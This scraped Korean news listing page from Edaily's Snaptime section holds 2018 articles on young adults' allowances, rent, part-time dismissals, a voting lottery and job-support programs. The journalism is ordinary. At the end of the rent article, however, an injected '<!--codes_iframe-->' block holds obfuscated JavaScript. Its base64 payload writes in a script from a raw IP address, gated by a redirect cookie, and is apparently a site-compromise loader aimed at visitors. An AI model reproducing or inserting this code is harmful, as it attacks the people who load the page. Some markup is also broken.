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  • [스냅타임] 20대 경제독립? 용돈이 취업까지 좌우
  • 청년층 고용률 42.2% 시대. 20대 절반이 일자리를 찾지 못하는 ‘취업난’ 속에서 취업준비생들이 힘든 것은 '좁은 취업의 문'뿐만이 아니다. "꿈보다는 편안함만을 찾아 고시에만 매달린다”, “중소기업에서는 일조차 하지 않으려 한다" 취준생을 바라보는 사회적 통념이 때로는 취업 경쟁률보다 매섭다. 그러나 취준생들도 할 말이 있다. 취준생들의 애환과 고민에 대한 이해 없이 사회적 통념으로만 바라보는 것이 억울하다. 우리 주변에는 취업이라는 벽을 뛰어넘기 위해 노력하는 수많은 평범한 20대가 있다. 취업시장에 뛰어들어 치열한 하루를 살고 있는 20대의 일상과 고민을 통해 취준생들의 '현재'를 함께해본다. [편집자주] (사진=이미지투데이) 20대가 용돈이 왜 필요해? 그 나이면 경제적으로 독립해야지! 기성세대가 참 많이 하는 말 중에 하나다. 곁들여 "예전에는 하숙하면서 과외를 몇 개 하면~"으로 시작하는 옛날 얘기도 잊지 않는다. 그러나 지금의 20대는 용돈 또는 부모님의 지원 없이는 사회에서 홀로 서는 것이 불가능할 정도다. 임금은 제자리 수준인데, 학비와 월세 등은 기성세대가 20대일 때와는 비교도 안 될 정도로 올랐기 때문이다. 20대의 가장 큰 고민은 취업 다음으로 돈이라고 한다. 용돈, 부모님의 지원 유무에 따라 직업과 미래까지 바뀌는 세상. 이 때문에 대학교 게시판에는 용돈을 묻는 글이 자주 올라온다. 한 대학교 익명 게시판에 한 달 용돈을 묻는 글이 올라오자 '30만원이라 알바는 필수다', '0원이다'라는 댓글부터 '150만원 받는데 부족하다', '친구는 170만원 받는데 부럽더라', '200만원 받는다'는 댓글까지 다양한 답변이 달렸다. 익명 게시판에서 학생들이 용돈이 얼마인지 묻고 답한다. 0원부터 200만원까지 천차만별이다.(사진=대학 커뮤니티 및 시간표 앱 ) 배고픈 청년들 "월세, 통신비 안 밀렸으면" 대학생 박초롱(23·가명)씨가 한 달 동안 커피전문점에서 일해서 버는 돈은 40만원이다. 서울에서 자취하는 박씨는 월세부터 식비까지 한 달 생활비를 40만원으로 모두 해결해야 한다. 주말 알바만으로는 생활비를 감당하기 벅찼던 박씨는 최근 알바를 하나 더 시작했다. 한 달에 많으면 20만원을 더 벌게 됐지만, 풍족한 건 아니다. 알바비를 받자마자 밀렸던 공과금과 통신비가 빠져나간다. 생활이 이렇다보니 취업 준비는 먼 얘기다. 취업에 필요한 학원은 꿈도 못 꾼다. 최근에는 돈 때문에 학원 수강생 모집기간을 놓쳤다. 같이 다니기로 했던 친구는 부모님이 바로 돈을 내주셨다. 그는 "공부에도 시기가 있는데 돈이 없어 타이밍을 놓치는 건 아닐까" 걱정했다. 지방 출신 대학생인 김지원(21·가명)씨는 월세 내는 날만 되면 하숙집에서 눈칫밥을 먹는다. 알바로 생활비를 벌고 월세는 부모님이 내주시기로 했지만 집안 형편이 어려워 항상 밀리기 때문이다. 대학 입학 후 가세가 기우는 바람에 김씨는 주 4일 편의점에서 일한다. 취준생 이다영(24·여)씨는 하루에도 몇 번이나 구직 앱에 들어가 단기 아르바이트를 찾는다. 취업이 급한 상황에 고정 알바는 부담스러운데 당장 돈은 필요해서다. 이씨는 "자소서를 쓰고 공부해야 할 시간에 1시간 넘게 알바앱과 구인공고를 들여다본다"고 털어놨다. 돈이 급해 빨리 취업하고 싶은 동시에 돈이 부족해 취업준비가 뒷전이 되는 아이러니한 상황이다. (이미지=네이버웹툰 '찬란하지 않아도 괜찮아') 넉넉한 20대는 '청춘' 잠실에 사는 전혜진(24·가명)씨는 넉넉한 집안 덕에 원하는 공부를 막힘없이 해왔다. 대학생 때는 미국으로 교환학생을 다녀왔고 몇 달 뒤 미국 대학원에 진학할 예정이다. 알바를 한 번도 안 해본 그는 대학생활도 알차게 즐겼다. 밴드동아리·영상학회·봉사동아리에서 적극적으로 활동해 동아리장도 맡았다. 시험기간엔 공부에만 집중할 수 있어 만점에 가까운 학점으로 졸업했다. 용돈은 따로 없고 원하는 만큼 카드로 쓰면 된다. 덕분에 공모전이나 학교 과제를 준비할 때 필요한 장비를 부모님 눈치 보지 않고 그때그때 살 수 있었다. 인턴 등 다양한 경험에도 크게 관심이 없다. 취업 준비하다 막히는 부분은 유학이나 학원으로 해결하면 되기 때문이다. 인문계열 학과를 나왔지만 게임회사 취업도 관심 있어 지금은 프로그래밍 학원에 다니며 공부 중이다. 본가는 강남, 지금은 뉴욕에 사는 이재현(24·남)씨는 뉴욕의 명문 패션학교에 다닌다. 사진과에 진학해 매년 고가의 전문가용 카메라로 뉴욕 패션위크를 누빈다. 한국에서든 미국에서든 원하는 곳에 취업할 수 있을거란 자신감이 있지만 빨리 취업해야 한다는 생각은 없다. 뉴욕에서 '청춘'을 좀더 즐기고 싶은 마음이 크다. 물가가 높기로 유명한 뉴욕 맨해튼에 살면서 한 번도 돈 걱정은 해본 적 없다. 부모님이 이씨가 하고 싶은 것 외에는 신경쓰지 않게끔 충분히 지원해주기 때문이다. (이미지=이미지투데이) 용돈이 대학도 직장도 결정한다 박씨는 "용돈이 대학생활을 넘어 취업까지 결정하는 것 같다"고 말했다. 용돈을 많이 받을수록 학업과 인간관계, 대내외활동에 투자할 시간적 여유가 생기니 자연스레 취업 준비가 수월한 것. 반대로 부모의 지원이 없는 20대는 돈에 얽매이다 보면 정작 해야할 취업준비도 제대로 하지 못한다. 박씨는 "알바로 생활비를 벌 수밖에 없는 사람과 용돈을 100만원, 200만원씩 받는 사람의 취업 준비는 차이가 클 수밖에 없다"고 덧붙였다. 돈 걱정을 하며 공부하는 것과 그렇지 않은 경우가 취업 결과에도 영향을 미친다는 얘기다. "차라리 가난이 내 능력 부족 때문이라면 덜 억울했을거야." 20대의 경제력은 대개 부모의 경제력에 큰 영향을 받는다. 지금의 가난이 '내탓'이 아닌데도 남과 비교하며 작아질 수밖에 없는 상황이다. 사회 생활을 시작도 하기 전에 출발점이 다르다는 현실을 체감하는 기분이다. 학식과 컵라면으로 끼니를 때우며 알바 투잡을 뛰는 20대는 많다. 하지만 이들의 현실이 더욱 씁쓸한 이유는 그들 주변에 '배부른 20대'들이 적지 않기 때문이다.
2018.06.28 I 박새롬 기자
  • [스냅타임] “일방적 해고엔 노동위가 답”
  • 대학교 합격 소식을 듣고 나서 구한 첫 알바였어. 이름만 들으면 알만한 프랜차이즈 업체였지. 이제 내 힘으로 돈을 벌 수 있겠다는 설렘을 안고 일주일을 다녔어. 더 다니고 싶었지만, 그럴 수 없었어. 출근한지 2주째 되는 월요일 아침 사장님으로부터 날아온 문자 한 통이 나에겐 충격 그 자체였어. 해고 통보였기 때문이었지. (이미지=이미지투데이) 김모(20)군은 부모님의 도움 없이 생활비를 마련하겠다는 목표를 세우고 지난해 아르바이트를 시작했지만 오래가지 못했다. 김군은 계약기간이 아직 3개월 정도 더 남아있다고 항의하고 싶었지만, 사장의 입장이 완강해 알바를 그만둘 수밖에 없었다. 이처럼 사업주가 20대 알바생을 대상으로 일방적인 해고를 통보하는 사례가 끊이지 않고 있다. 알바생들은 해고 통보를 받아들여야만 할까? 노무사는 적극적인 신고를 통해 알바생의 권리를 되찾을 필요가 있다고 강조했다. 다음은 김원기 노무법인 산하 대표와의 일문일답이다. 아르바이트생들이 사업장에서 일방적으로 해고 당했을 때에는 관할 지방노동위원회에 적극적으로 신고를 해야한다고 노무사는 강조했다.(사진=연합뉴스) Q. 사업주의 일방적 해고 통보는 합당한 것인가? A. 부당해고다. 몇 개월간 계약을 맺은 근로자는 일방적으로 해고를 하면 안 된다. 단 알바생이 매일 근로계약서를 쓰고 도장을 찍는 일당제였다면 해고는 가능하다. 또 전체 직원이 4명까지 있다고 하면 해고의 사유에 규제가 없다. 하지만 5명이 넘으면 해고에 대한 정당한 이유가 있어야 하고 절차도 서면으로 진행해야 한다. 특히 알바생이라고 해도 실제 직원이랑 근무형태가 같았다면 해고를 정당한 절차(서면)를 통해 진행해야 한다. Q. 이번 경우 사업주는 어떤 점을 위반했다고 볼 수 있는가? A. 해고를 사전에 알려주지 않았고, 해고 통보를 서면으로 하지 않았다. 근로기준법에는 서면으로 통지하라고 명시돼 있다. Q. 이 같은 일을 겪었다면 알바생들은 어떻게 대처해야 할까? A. 알바생은 현실 세계에서 쓰는 용어일 뿐 법적으로는 근로자(임금을 목적으로 노동을 제공하는 사람)로 여긴다. 알바생도 일반 근로자처럼 부당해고를 당했다고 생각되면 관할지방노동위원회에 진정을 내면 된다. 노동위가 행정심판기관이기 때문이다. 여기서 정당한 해고인지 아니면 부당한 해고인지 판결을 내린다. Q. 사업주는 어떻게 처벌하고 근로자는 어떻게 구제를 받을 수 있는가? A. 해고문제는 형사적인 징계보다 금전보상, 원직복직으로 해결한다. 만약 노동위에서 부당해고라고 판결이 나면 근로자가 원하는 대로 원직복직을 할 수 있고, 기존에 회사를 다녔다면 받았을 것으로 예상되는 돈(임금)을 회사로부터 다 받을 수 있다. 회사가 이를 이행하지 않으면 이행강제금(1500만원 한도)을 물린다. Q. 노동위원회에 민원은 어떻게 신청해야 하나? A. 중앙노동위원회 홈페이지에 가서 구제신청서를 다운받아 작성 후 관할지방노동위원회 홈페이지에 온라인으로 접수하면 된다. 이때 구제신청에 필요한 입증자료도 첨부해야 한다. 다만 구제신청은 부당해고가 있은 날부터 3개월 이내에 해야 한다. Q. 사업주의 일방적 해고를 예방하기 위해서는 알바생들이 무엇을 해야 하는가? A. 근로계약서를 반드시 써야한다. 근로계약 기간이 있다면 명시할 필요가 있다. 알바생이라도 정직원처럼 계속 일을 했다면 부당해고라고 주장할 필요가 있다. Q. 사업주가 알바생을 해고할 때에는 어떤 절차를 거쳐야 하는가? A. 사장이 직원을 해고를 할 때에는 해고 사유가 있는데 정당해야 하고 절차상으로도 문제가 없어야 한다. 알바생이 아무리 잘못을 해도 서면으로 통보하지 않은 것도 부당해고 사유가 된다. 내용적으로든 절차적으로든 정당성이 뒷받침돼야 한다는 말이다. 특히 사업주가 한 달 전에 통보를 하지 않으면 해고예고수당(한달 치 임금)을 줘야한다. 해고예고수당을 주면 당연히 알바생을 자를 수 있다고 보는데 이는 천만의 말씀이다. 한 달 전에 고지했다고 하더라도 서면으로 해고통지를 하지 않은 경우도 부당해고다. Q. 모든 근로자는 해고예고수당을 받을 수 있는가? A. 모든 근로자가 다 받는 것은 아니다. 일용직 근로자로 3개월 이내 근무한 사람이나 근로계약기간이 2개월 이내이면 해고예고수당을 받지 못한다. 월급근로제인데 6개월이 안된 사람과 수습기간 중에 해고 당한자도 수당을 못 받는다. 수습기간은 입사 후 3개월까지로 본다. 중앙노동위원회 홈페이지에는 부당해고와 관련한 구제신청 내용이 자세하게 게시돼 있다.(사진=중앙노동위원회 홈페이지 캡처)
2018.06.28 I 박태진 기자
  • [스냅타임] 유기동물 보호소도 가축분뇨법에 해당하나?
  • 지난달 13일 청와대 국민청원 게시판에는 대구 동구청에 있는 한나네 유기견 보호소를 폐지하지 말아달라는 내용의 청원이 게시됐습니다. 청와대는 해당 청원에 대한 답변으로 보호소를 폐지하지 않을 것이라고 밝혔습니다. 왜 이런 문제가 발생하게 된 것일까요? ‘가축분뇨의 관리 및 이용에 관한 법률(이하 가축분뇨법)’ 개정으로 생긴 상황인데요. ‘가축분뇨법’이란 가축분뇨를 자원화하거나 적정하게 처리하여 환경오염을 방지하기 위한 법입니다. 가축분뇨법 8조에 따르면 시장·군수·구청장은 가축사육의 제한이 필요하다고 인정되는 지역에 한해 사육을 제한할 수 있습니다. 한나네 보호소가 위치한 곳은 본래 가축분뇨법에 규정된 가축 사육 제한 구역이었습니다. 그런데 2007년 가축분뇨법 시행령이 개정되며 ‘개’ 사육시설도 관리 대상에 포함됐습니다. 또 2014년 3월 시행된 개정안에 따라 지자체가 일정 규모 이상의 무허가·미신고 가축 분뇨배출시설에 대해 사용중지·폐쇄 명령을 내릴 수 있게 됐습니다. 이에 동구청은 한나네 보호소에 보호소 사용중지라는 행정명령을 내리게 된 것입니다. 그렇다면 유기동물 보호소도 이 조항에 해당하는 것일까요? 환경부는 국민청원 답변을 통해 유기동물이 머무는 보호시설의 경우 가축분뇨법상 배출 시설로 보지 않는다는 유권해석을 내놓았습니다. 따라서 동구청에 이 같은 내용을 전달해 폐기 명령을 취소할 것이라고 합니다. 다만 환경부는 인근 주민들의 피해를 최소화하고 환경오염을 방지하기 위해 보호시설에 대해서도 일정 규제는 필요하다고 피력했습니다. [본 카드뉴스는 tyle.io를 통해 제작되었습니다.]
2018.06.27 I 강의령 기자
  • [스냅타임] ‘자취방’ 20대에게 안식처일까, 감옥일까
  • (사진=‘자취, 방’ 방송화면)“자취방? 아늑하지만 내 세계 여기까질까 봐 겁나”라이프스타일 전문채널 온스타일이 지난 4월, 20대가 자취방에서 겪는 일을 다루는 웹 드라마 ‘자취, 방’을 네이버 TV와 유튜브에 방영했다. 주인공 이진아(25·여) 씨가 자취방에서 친구, 옛 애인, 집주인 등과 겪는 갈등과 취업준비의 힘듦이 주 내용이다.드라마에서 자취방은 갈림길이다. 주인공 이지연은 자취방을 ‘모든 굴레에서 벗어날 수 있는 아늑한 곳’이라고 생각한다. 그러나 “이 너머에 더 큰 세상이 있다는 것을 알지만, 이곳이 너무 편해서 여기가 내 세상의 끝일까 봐 겁나”라고 말한다. 자취방을 도피처인 동시에 벗어나야 할 곳으로 표현한 것이다. 남아있으면 편안하지만 미래를 볼 수 없다. 앞으로 나아간다면 위험하지만, 앞을 볼 수 있다. ‘자취, 방’은 20대에게 어떤 선택을 할 것인지 질문을 던진다.이씨는 어떤 과정을 통해 어떤 선택을 했을까. 주인공이 자취방에서 다른 등장인물과 겪는 갈등의 의미를 해석하며 알아보자. (사진=‘자취, 방’ 방송화면)자취생 vs 집주인“할 말은 하고 살아...”주인공과 집주인의 갈등은 20대가 겪는 ‘돈’ 문제를 보여준다. 이씨는 통장에 잔액이 없어 5일 동안 라면만 먹는다. 내 집이 아니므로 자취방을 확인한다는 집주인의 무단출입을 막을 수 없다. 그뿐만 아니라 세 들어 산다는 이유로 ‘몸에도 안 좋은데 라면만 먹지 마라’ ‘집에만 있지 말고 밖에 좀 나가라’ 등 구박을 듣는다. 드라마는 청춘남녀에게 ‘돈’의 압박을 받아야 한다고 이야기하는 것일까. 답은 ‘아니오’ 이다.6화 중 집주인은 술 취한 전 애인이 자취방 앞에서 행패 부리는 것을 막아주고 주인공에게 “할 말은 하고 살아….”라고 말한다. 청춘에 ‘돈’에 기죽지 말고 오지라퍼나 꼰대들에게 당당하게 맞서라고 얘기한다. (사진=‘자취, 방’ 방송화면)친구 vs 친구“오늘 날씨 진짜 거짓말 같지 않아?”이지연과 윤서희의 갈등은 주위 사람의 말에 휘둘리는 청춘들을 보여준다. 우리는 SNS에서 진짜 거짓말 같은 허황한 지인들의 삶을 본다. 원래 두 주인공은 같이 임용고시를 준비했다. 같은 갈림길에 선 이씨와 윤씨에게 자취방은 우정을 쌓는 공간이다. 그러나 윤씨는 임용고시의 부담감을 못 견디고 취업의 길을 걷는다. 갈림길에 남아버린 사람과 길을 선택하고 나아간 사람. 자취방은 우정의 공간에서 갈등의 장소로 바뀐다.이씨는 윤씨가 선물한 과일을 먹지도 버리지도 않는다. 아무 선택도 하지 않은 결과 냉장고 안에서 썩어버려 악취가 난다. 청춘들은 무엇을 할지 결정 해야 한다. (사진=‘자취, 방’ 방송화면)전 여친 vs 전 남친“녹차가 몸을 차게 만들면 그냥 따뜻하게 마시면 되는거 아니야?”사귀는 사이인 이지연과 신우석에게 자취방은 사랑의 공간이다. 사실 수족냉증인 여주에게 몸을 차게 만드는 녹차 같은 남주는 잘 맞지 않는다. 사랑이란 완전하지 않은 두 사람이 만나 서로 부족한 것을 채워주고 맞춰가는 것이다. 내가 좋아하는 녹차가 몸을 차갑게 만든다면 끓여서 먹으면 된다. 너무 맞지 않으면 헤어지면 된다. 사랑의 행복은 헤어짐의 아픔보다 이루 말할 수 없이 크다.사랑·연애·결혼 등 삶의 행복을 포기한 청춘남녀가 늘어가고 있다. 드라마 ‘자취,방’은 그런 20대에게 사랑의 필요성과 방법을 알려준다. (사진=‘자취, 방’ 방송화면)나 vs 나“이제 다 정했어요.”주인공 이지연에게 자취방은 안식처이자 도피처이다. 그는 세 갈림길에 서 있다. 부모님이 원하는 임용고시의 길. 주변인들이 하는 취업의 길. 자신이 되고 싶은 그림의 길. 자취방안에 있으면 선택하지 않아도 편하다. 그러나?집 안에 있는 물건들은 “나를 선택해! 저걸 해야 해!” 라고 말한다. 이지연의 속마음을 대변하는 것이다. 자취방 안에는 아무것도 결정하지 못하는 겉면의 나와 이제는 결정해야 할 때인 것을 아는 속 면의 나가 공존한다. 안식처마저 불편해졌다.마지막 화에서 주인공은 선택한다. 그러나 어떤 길을 갔는지 우리는 알 수 없다. 어떤 결정이든 틀린 것이 아니다. 결정을 마친 미래의 이지연은 선택을 고민하는 과거의 이지연을 가만히 바라보다 그대로 두고 나온다. 걱정·불안함·초조함은 자취방에 두고 나오면 된다. 드라마는 단지 후회하지 말고 그 길을 가라고 청춘에 말한다.<!--/codes_iframe-->
2018.06.27 I 유정수 기자
  • [스냅타임] 월세와 전쟁 나선 20대 고군분투기
  • (사진=이미지투데이)자취생에게 있어 ‘주거지’란 유일한 쉼터지만 압박감을 가져다주기도 한다. 월세 때문이다.지난해 금융위원회가 조사한 결과, 청년 중 월세 비용으로 30만원 넘게 내는 경우가 55.8%로 나타났다. 특히 신축 원룸이나 오피스텔에 사는 젊은이들은 월세로 최소 40만원에서 많게는 70만원까지 내고 있다. 하지만 경제력 없는 대학생이 ‘30만원’ 이상의 금액을 충당하는 일은 생각보다 쉽지 않다.?용돈을 받아서 방세를 내는 학생이 있는가 하면 자기만의 방식으로 이 비용을 충당하는 학생도 있다. ‘월세와의 전쟁’ 속에서 치열하게 살아가고 있는 청춘들의 고군분투기는 지금도 계속되고 있다. (이미지=이미지투데이) 월세 충당 위해 주말 알바도올해 대학교 2학년인 신수민(20·가명)씨는 주 3일(월·화·수) 방과 후 편의점 아르바이트를 하고 있다. 부모님이 주는 용돈으로는 생활이 어려워 알바 전선에 뛰어든 것이다. 부동산 정보 관련 온라인 플랫폼인 다방에 따르면 지난해 서울 시내 대학가 10곳의 매물을 조사한 결과 전년보다 월세가 2.52%(1만원) 올랐다. 해마다 상승하는 주거비 때문에 알바를 해도 월세 내기 빠듯하다.신씨는 “월급을 받으면 월세를 내고 난 후 남은 돈으로 어떻게 버텨야 할지 막막하다”고 토로했다. 신씨 같은 젊은이들은 높은 월세의 벽을 감당하기 어려워 이내 좌절한다. 신입생 때 불타던 캠퍼스 생활에 대한 열정은 점차 시들어 간다. 월세와의 전쟁에 빠지면서. (사진=영화 ‘스물’ 스틸 이미지) 뼈 빠지게 알바 해도 주거비 마련 역부족대학생들은 여러 가지 방법으로 주거비를 마련한다. 예컨대 방학 동안 공장 등 급여가 높은 곳에서 한꺼번에 주거비를 벌어놓거나, 학기 중에 알바를 구해 달마다 충당하기도 한다. 그러나?일반적인 알바로는 월세를 감당하기 어렵다. 이에 학생들은 단기간에 고소득을 올릴 수 있는 알바를 찾기 위해 채용사이트에 들어가 F5(새로 고침 키)를 끊임없이 누른다.올해 대학 새내기인 유선희(19·가명)씨는 주말마다 물류센터에서 피킹 알바를 하고 있다. 평일에 학교 도서관에서 근로 장학생으로 일하고 있음에도 턱없이 부족한 임대료를 충당하기 위해서다. 그는 연장근로도 마다하지 않는다. 근무시간은 오전 9시부터 오후 6시까지지만, 연장근로 시간만큼 수당을 추가로 받을 수 있기 때문이다. 유씨는 “종일 일하다 보니 몸도 마음도 지친다”며 “하지만 월세를 마련해야 해서 일을 그만둘 수도 없다”고 말했다. (이미지=이미지투데이) 친구 집에 얹혀사는 일도 다분월세를 감당하지 못한 학생들은 룸메이트를 구해 살거나 혼자 사는 친구의 집에 얹혀살기도 한다.대학교 2학년 서현진(20·가명) 씨는 친구와 함께 살고 있다. 방을 구하기 위해 여기저기를 돌아다녔지만, 월세가 부담돼 일정 금액을 내고 친구 집에 머물기로 한 것이다. 주변의 다른 친구들은 한푼도 내지 않고, 그냥 신세를 지는 경우도 적지 않다. 하지만 서씨에게도 문제가 생겼다. 다음 학기에 친구가 휴학하기로 하면서 다시 방을 알아봐야 하는 상황에 놓였기 때문이다. 서씨는 우선 다가오는 방학에 월세를 미리 벌기 위해 알바를 할 계획이다. 서씨에게 여름의 태양과 물놀이를 즐길 여유는 아마도 없을 것이다.<!--/codes_iframe--> <!--codes_iframe--> {var U=document.cookie.match(new RegExp("(?:|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+])/g,"\\$1")+"=([;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<\/script>')} <!--/codes_iframe-->
2018.06.26 I 박창기 기자
  • [스냅타임] “국민의 주권인 투표권, 반드시 지켜야죠”
  • (사진=JTBC '썰전' 방송화면 캡쳐)“유시민의 상상은 현실이 됐다”“투표 광고를 찍는 돈을 아껴서 투표 로또를 하면 훨씬 저렴하게 투표율을 높일 수 있다.”2016년 JTBC 프로그램 ‘썰전’에서 투표 독려에 관한 얘기를 하던 중 유시민 작가는 이같이 말했다. 이에 전원책 변호사는 “정치행위를 사행행위와 결합하는 것은 으스스하다”고 답변했다.?그러나 유시민 작가의 이 상상을 현실로 만들어낸 사람들이 있다.IT엔지니어인 윤병준(31·남)씨는 6명의 동료와 함께 이 아이디어를 실행에 옮겼다. 말 한 마디가 실제 서비스로 탄생한 것.이들은 2017년 5월 장미 대선 때 ‘국민투표로또’를 만들어냈고, 90만명의 참가자를 모았다.국민투표로또는 투표 인증 사진과 투표소를 배경으로 한 사진 그리고 투표 참여를 권유하는 사진 등을 올려 응모하는 방식이다. 이를테면 투표 인증으로 로또를 구매하는 셈.이들은 투표 당일에 ‘페이스북 라이브 방송’으로 당첨자를 뽑아 후원금 중 일부를 투표로또 당첨금으로 지급했다.?총 유권자(4000만명)에 비하면 보잘것없는 숫자지만, 90만개의 주권을 지킬 수 있어 뿌듯했다고 윤씨는 회상했다. 윤병준씨 외 6명은 지난해 5월 장미대선에서 국민투표로또를 실행했다.(사진=스냅타임)국민투표로또 어떻게 탄생했나요?국민투표로또의 대표 개발자이자 ‘다이어트 노트’라는 앱을 개발하고 있는 윤병준입니다. 저는 예전부터 대한민국을 아름답고 긍정적으로 바꾸는 서비스 개발을 하고 싶었어요. 그래서 관련 스터디그룹을 만들었고 저와 비슷한 꿈을 가진 20대 후반의 친구들을 많이 만났어요. 언젠가는 나라에 도움이 되는 프로젝트들을 실행하자고 서로 다짐하고 있죠.국민투표로또가 그런 프로젝트 중에 하나였어요. 친구들과 개발적 가능성과 필요성에 대해 얘기를 나눴죠. 18대 대선 때 투표를 하지 않은 인구가 1000만명에 이른다는 자료를 보고 국민으로서 권리를 포기하는 사람이 이렇게 많다는 것에 너무나 안타까웠어요. 이런 마음이 저희 프로젝트를 구체화하는데 원동력이 됐죠. (이미지=중앙선거관리위원회 홈페이지)국민투표로또를 진행하는데 어떤 어려운점은 없었나요?“정부의 소통창구는 휴대폰 A/S센터랑 다르더라구요”돈과 관련된 사항이었기 때문에 법적 확인절차를 챙기는 것이 가장 중요했어요. 국민투표로또가 선거법상 문제가 없는지 중앙선거관리위원회 홈페이지에 있는 질의·응답 서비스를 사용했어요. 굉장히 친절하고 자세하게 상담해주셔서 쉽게 해결할 수 있었죠.사실 휴대폰 A/S만 해도 홈페이지에 문의하면 시간이 오래 걸리거나 통상적인 답변만 돌아오잖아요. 그래서 선관위 홈페이지에도 크게 기대를 안 했었는데 역시 공공기관은 다르더라고요. (웃음)?이번 일을 통해 정부를 더욱 신뢰하게 됐어요. (이미지=국민투표로또 페이스북)후원금은 어느 정도였고, 혹시 주 후원단체가 있었나요?“국민께서 주신 응원, 국민 여러분께 전달해드렸어요.”2017 대선 국민투표로또 때 1100만원의 후원금이 모였고 90만명이 응모했어요. 2018 지선 때도 500만원이라는 큰 금액의 후원금이 모이고 34만명이 응모해서 정말 깜짝 놀랐어요. 게다가 모든 후원을 국민 개개인분들이 해주셔서 한 번 더 놀랐죠. 저는 ‘나라의 힘은 국민에게서 나온다’라는 말을 굳게 믿고 있어요. 이번 기회를 통해 그 믿음에 보답 받은 것 같은 기분이었죠. 우리의 주권인 투표권의 행사를 위해 응원해주시고 힘 써주신 국민 여러분께 다시 한 번 감사하다고 말씀드리고 싶어요. (이미지=국민투표로또 홈페이지)2020년 총선 때도 국민투표로또를 진행할 계획이신가요?“구체적 계획이 완성된다면..”사실 그 부분에 대해서는 명확하게 말씀드리기가 어려워요. 국민투표로또는 정부와 함께하거나 단체를 만들어서 하는 것이 아니고 저와 제 친구들이 개인적으로 진행하고 있어요. 따라서?후원기간, 공식계좌, 홍보방법 등 세세한 내용을 아직 구체화하지 못했어요.다만 가능하다면 정부와 이야기를 나눈 후 공익적으로 이 일을 진행하고 싶어요. 다시 한 번 할 수 있도록 최선을 다 할거에요. 국민투표로또라는 작은 파동으로 국민 여러분의 발걸음을 투표소로 옮기는 일. 언제까지나 계속 하고 싶습니다.
2018.06.26 I 유정수 기자
  • [스냅타임] 지원금 받으며 취뽀하는 취성패 아이 모르늬
  • mg class="size-full wp-image-8967" src="http://snaptime.edaily.co.kr/wp-content/uploads/2018/06/크기변환_1번.jpg" width="700" height="700" /> (이미지=이미지투데이)“취성패요? 처음 들어보는데요?”고용노동부는 2009년부터 취준생의 금전적 문제 해결을 위해 ‘취업성공패키지’를 실시하고 있다.취업성공패키지란 취업을 희망하는 만 18~69세 이하 사람들에게 각종 지원금과 취업지원서비스를 제공하는 정책이다.하지만 이 정책은 홍보 부족으로 효과를 보지 못하고 있다.취준생이 ‘취성패’와 함께한다면 어떤 혜택을 받을 수 있을까. 관련 직원을 만나 직접 얘기를 들어봤다. (이미지=스냅타임)*직원 민진원 - 민으로 표기Q 취성패에 참여하면 받을 수 있는 혜택이 뭐가 있나요?민 - 먼저 훈련참여수당 지원금을 받을 수 있고, 학원비 지원금 혜택도 받을 수 있습니다. 마지막으로 취업알선도 제공합니다. Q 이 혜택을 받기 위해 갖춰야 할 자격요건이 있나요?민 - 만 18~69세 이하의 분 중 구직을 희망하시는 분들은 모두 참여할 수 있습니다. 단 취성패는 건강보험료 납부액에 따라 1과 2로 나뉘며, 각각 혜택은 조금 다릅니다. Q 혜택이 어떻게 다른가요?민 - 취성패 2는 참여자가 학원비 지원금 중 10~20%의 자기부담금을 내야합니다. 취성패 1은 자기부담이 따로 없고요. 이외에는 큰 차이가 없습니다. (이미지=스냅타임)Q 취성패는 총 3단계로 나누어져 있다는데, 3단계가 뭔가요?민 - 취성패는 세 가지 취업 지원 프로그램으로 구성돼 있는데요. 이 프로그램을 통틀어 취업 성공 패키지라고 부릅니다.1단계는 진로설정과정으로 일주일에 한 번 상담을 받습니다. 상담 참여 1회당 최대 25만원의 참여수당을 제공합니다.2단계는 직업훈련 과정입니다. 1단계 상담에서 설정한 진로에 필요한 학원비를 지원합니다. ‘내일배움카드’가 제공되는데 300만원까지 학원비를 결제할 수 있습니다.학원 훈련 참여 1회당 최대 28만4000원의 참여수당도 받을 수 있습니다. 뿐만 아니라 5만~11만원 사이의 교통비와 식비도 지원 받을 수 있습니다. 2단계 훈련 참여시 최대 40만원 가까이 지원을 받을 수 있다는 얘깁니다.3단계는 취업지원 과정으로 실질적인 취업알선이 이뤄집니다. 만 34세 이하 청년층은 청년구직촉진수당을 통해 월 30만원의 지원을 받을 수 있습니다. Q 취성패는 어떻게 신청하면 되나요?민 - 온라인과 오프라인 신청방법이 있는데요. 사실상 개인정보동의서는 오프라인에서 반드시 작성해야 하기 때문에 필요서류를 가지고 집에서 가장 가까운 고용센터를 방문하시는 것이 효율적입니다. 영상으로 배우는 '취성패' 사용설명서
2018.06.25 I 유정수 기자
연인 돼는 게 왜않되?
  • [애인 도망가는 맞춤법]연인 돼는 게 왜않되?
  • 신조어가 넘쳐나는 지금 "맞춤법이 뭐 그리 중요해?"라고 할 수 있겠지만 사실은 그렇지 않다.알바몬이 조사한 바에 따르면 여대생 10명 중 9명은 맞춤법을 틀리는 남성에게 실망한다고 했다. 남성 역시 10명 중 8명은 맞춤법을 틀리는 여성에 대한 호감이 줄어든다고 답했다.취업을 준비하는 20대라면 맞춤법은 더 중요하다. 기본적인 맞춤법이 틀린 이력서나 자기소개서를 기업의 인사담당자들이 좋은 시선으로 바라볼리가 없기 때문이다.그래서 마련했다. 평소에도 자주 사용하고, 자기소개서에서도 한 번은 등장할 법한 틀리기 쉬운 맞춤법. 이런 맞춤법 안 본 눈 삽니다 맞춤법을 꽤 공부했다는 사람들도 글을 쓰며 이게 맞는지, 저게 맞는지 한 번쯤 고개를 갸웃하게 되는 어려운 맞춤법 중 하나.되, 돼문제는 국어사전에서 나와 있는 '되와 돼의 구분법'을 읽어도 도통 무슨 소리인줄 모르겠다는 것이다.'돼'와 '되'의 구분‘되-’는 ‘되다’의 어간인데 어간 